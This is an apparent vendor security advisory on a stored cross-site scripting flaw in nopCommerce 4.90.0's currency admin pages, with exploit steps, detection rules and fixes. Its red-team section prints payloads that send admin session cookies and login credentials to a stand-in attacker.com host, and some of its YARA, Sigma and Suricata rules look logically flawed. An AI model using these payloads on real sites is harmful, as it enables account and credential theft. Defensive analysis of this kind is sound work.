CVE-2025-65591

Executive Summary

CVE-2025-65591 identifies a stored Cross-Site Scripting (XSS) vulnerability in nopCommerce version 4.90.0, specifically within the Currencies functionality. An authenticated attacker with administrative privileges can inject malicious scripts into currency fields, which are then executed in the browsers of other administrators viewing the currency list. This can lead to session hijacking, credential theft, or further compromise of the e-commerce platform. The vulnerability is publicly known but currently lacks an official patch from the vendor.

Supply Chain & Package Security

nopCommerce is a .NET-based open-source e-commerce platform. The vulnerability resides in the application's own code, not in a third-party package. However, administrators should verify the integrity of their nopCommerce installation and any custom plugins, as the attack surface expands with third-party integrations.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must have administrative access to the nopCommerce backend.
• User Interaction (UI): Required (R) – The victim must view the malicious currency entry.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component (e.g., steal admin session cookies).
• Confidentiality (C): High (H) – Potential for full data exposure.
• Integrity (I): High (H) – Potential for full data manipulation.
• Availability (A): Low (L) – Could be used to deface or disrupt the admin panel.

Estimated CVSS Score: 7.6 (High)

Threat Level: High – Exploitation requires admin credentials, but the impact on the e-commerce platform is severe.

Deep Dive & Mechanics

The vulnerability exists in the /Admin/Currency/List endpoint and the associated Create or Edit actions for currency records. The application fails to properly sanitize user-supplied input in fields such as Name, CurrencyCode, or DisplayLocale before storing it in the database and later rendering it in the admin panel.

Attack Flow:

1. An attacker with admin credentials navigates to Configuration → Currencies.
2. The attacker creates a new currency or edits an existing one.
3. In a text field (e.g., Name), the attacker injects a payload like <script>alert('XSS')</script>.
4. The application stores this payload in the database without sanitization.
5. When another admin user views the currency list, the payload is rendered in the browser, executing the malicious script.

Root Cause: The Currency model's properties are not encoded when rendered in the Razor view. The application likely uses @Html.Raw() or fails to use @Html.Encode() for user-controlled fields.

Vulnerable vs. Patched Code

Vulnerable Code (nopCommerce 4.90.0):

// In the Admin/Currency/List.cshtml view
@foreach (var currency in Model.Currencies)
{
    <tr>
        <td>@Html.Raw(currency.Name)</td>
        <!-- Other fields -->
    </tr>
}

Patched Code (Expected):

// In the Admin/Currency/List.cshtml view
@foreach (var currency in Model.Currencies)
{
    <tr>
        <td>@Html.Encode(currency.Name)</td>
        <!-- Other fields -->
    </tr>
}

The patched version uses @Html.Encode() to HTML-encode the output, preventing script execution. Alternatively, the model should use [AllowHtml] only on fields that require HTML, and the view should use @Html.Raw() only for those specific fields after sanitization.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Admin credentials for a nopCommerce 4.90.0 instance.
• Access to the /Admin/Currency/Create or /Admin/Currency/Edit endpoint.

Exploit Steps:

1. Log in to the nopCommerce admin panel.
2. Navigate to Configuration → Currencies.
3. Click Add new.
4. In the Name field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Fill in other required fields (e.g., CurrencyCode: XSS, Rate: 1).
6. Click Save.
7. Wait for another admin to view the currency list. The script will execute, sending their session cookie to the attacker's server.

Alternative Payload (Steal Admin Credentials):

<script>
document.getElementById('login-form').addEventListener('submit', function(e) {
    e.preventDefault();
    var username = document.getElementById('Username').value;
    var password = document.getElementById('Password').value;
    fetch('https://attacker.com/steal?u='+username+'&p='+password);
});
</script>

Blue Team

Detection Steps:

1. Monitor Admin Activity: Log all admin actions, especially changes to currency settings. Look for unusual patterns or payloads in the Name or CurrencyCode fields.
2. Web Application Firewall (WAF): Deploy a WAF rule to block common XSS payloads in POST requests to /Admin/Currency/Create and /Admin/Currency/Edit.
3. Input Validation: Implement server-side validation to reject any input containing HTML tags in fields that should not accept them.
4. Content Security Policy (CSP): Enforce a strict CSP header that blocks inline scripts and only allows scripts from trusted sources.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the nopCommerce server.
  • POST requests to /Admin/Currency/Create or /Admin/Currency/Edit containing <script> tags or other HTML/JavaScript payloads.
• File IOCs:
  • Modified database entries in the Currency table with suspicious values in the Name or CurrencyCode columns.
• Log IOCs:
  • Admin audit logs showing creation or modification of currency records with unusual names.
  • Web server logs showing requests to /Admin/Currency/List followed by outbound connections to unknown IPs.

Detection Engineering

YARA Rule

rule nopCommerce_XSS_Currency_Exploit {
    meta:
        description = "Detects XSS payloads in nopCommerce currency fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65591"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $currency_endpoint = /\/Admin\/Currency\/(Create|Edit)/i
    condition:
        $currency_endpoint and $xss_payload
}

Sigma Rule

title: nopCommerce Currency XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in nopCommerce currency creation/editing
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nopcommerce
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/Admin/Currency/Create'
            - '/Admin/Currency/Edit'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in currency names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65591 nopCommerce Currency XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/Admin/Currency/Create"; http_uri; content:"/Admin/Currency/Edit"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Currency Editing: Temporarily restrict access to the currency management functionality for non-essential admin users.
2. Apply Virtual Patching: Use a WAF to block XSS payloads in currency-related POST requests.
3. Audit Existing Data: Review the Currency table in the database for any suspicious entries and remove them.

Long-Term Fix:

1. Upgrade nopCommerce: Monitor the official nopCommerce repository for a patched version (likely 4.90.1 or higher) and apply it as soon as it is released.
2. Code Review: If you maintain a custom fork, ensure all user input is properly encoded using @Html.Encode() or equivalent server-side sanitization.
3. Security Hardening: Implement a Content Security Policy (CSP) and enable HTTP-only cookies to mitigate the impact of XSS.

Workaround:

• If upgrading is not immediately possible, modify the List.cshtml view to use @Html.Encode() instead of @Html.Raw() for all currency fields.

Valters IT
Securing Digital Frontiers